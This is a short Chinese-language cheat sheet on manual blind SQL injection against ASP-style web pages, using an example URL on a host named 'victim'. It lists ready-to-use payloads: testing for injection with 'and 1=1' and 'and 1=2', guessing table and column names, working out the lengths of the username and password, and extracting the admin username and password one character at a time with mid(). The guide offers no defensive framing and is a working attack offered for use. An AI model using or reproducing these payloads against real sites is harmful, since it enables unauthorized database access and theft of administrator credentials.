Sql injection手工猜解总结
1 判断是否存在注入:
;and 1=1
;and 1=2
2 猜表名:
and 1=(select min(id) from 表名)
or 0<>(Select count(*) from 表名)
例如:
http://www.victim/list.asp?id=312 and 1=(select min(id) from admin)
说明:
查看是否存在Aadmin 这个表。
提示:
正常返回,证明有一个admin的表.如果没有正常返回,或是出错;则表明不存在admin这个表.
3 猜字段名:
0<>(select count(*) from 表名 where 字段名<>'')
例如:
0<>(select count(*) from admin where user_name<>'')
说明:
查看admin 表里是否有user_name 这个字段
提示:
正常返回,证明有一个user_name 这个字段.如果没有正常返回,或是出错;则表明不存在user_name这个字段.
4 猜用户名的长度:
and 1=(select min(id) from 表名 where len(存放用户名的字段)>长度)
例如:
and 1=(select min(id) from admin where len(user_name)>8)
说明:
查看Admin表中 用户名(User_Name)的长度是多长
提示:
正常返回,证明猜对,如果没有正常返回,或是出错;则表明长度不对.(原因有两种:或是长或是短。)
5 猜用户名的密码长度:
and 1=(select min(id) from 表名 where len(密码所存放的字段)>长度)
例如:
and 1=(select min(id) from admin where len(password)>8)
说明
查看Admin表中 用户名(password)的长度是多长
提示:
正常返回,证明猜对,如果没有正常返回,或是出错;则表明长度不对.(原因有两
种:或是长或是短。)
6 猜用户名
and 1=(select min(id) from 表名 where mid(存放用户名的字段,1,1)='尝试的字符')
例如:
and 1=(select min(id) from admin where mid(user_name,1,1)='a')
说明
查看Admin表中 用户名(user_name)的用户名第一位是否为字符 “a”
第二为的猜解则相应的修改提交的参数;如:
and 1=(select min(id) from admin where mid(user_name,2,1)='a')
and 1=(select min(id) from admin where mid(user_name,3,1)='a')
……
提示:
正常返回,证明猜对,如果没有正常返回,或是出错;则表明不对。(注意:a-z/ A-Z/ 0-9/ 汉字/ 依次类
推,只到返回正常页面为止)
7 猜解密码:
and 1=(select min(id) from 表名 where mid(存放密码的字段,1,1)='尝试的字符')
说明:
方法同猜用户名一样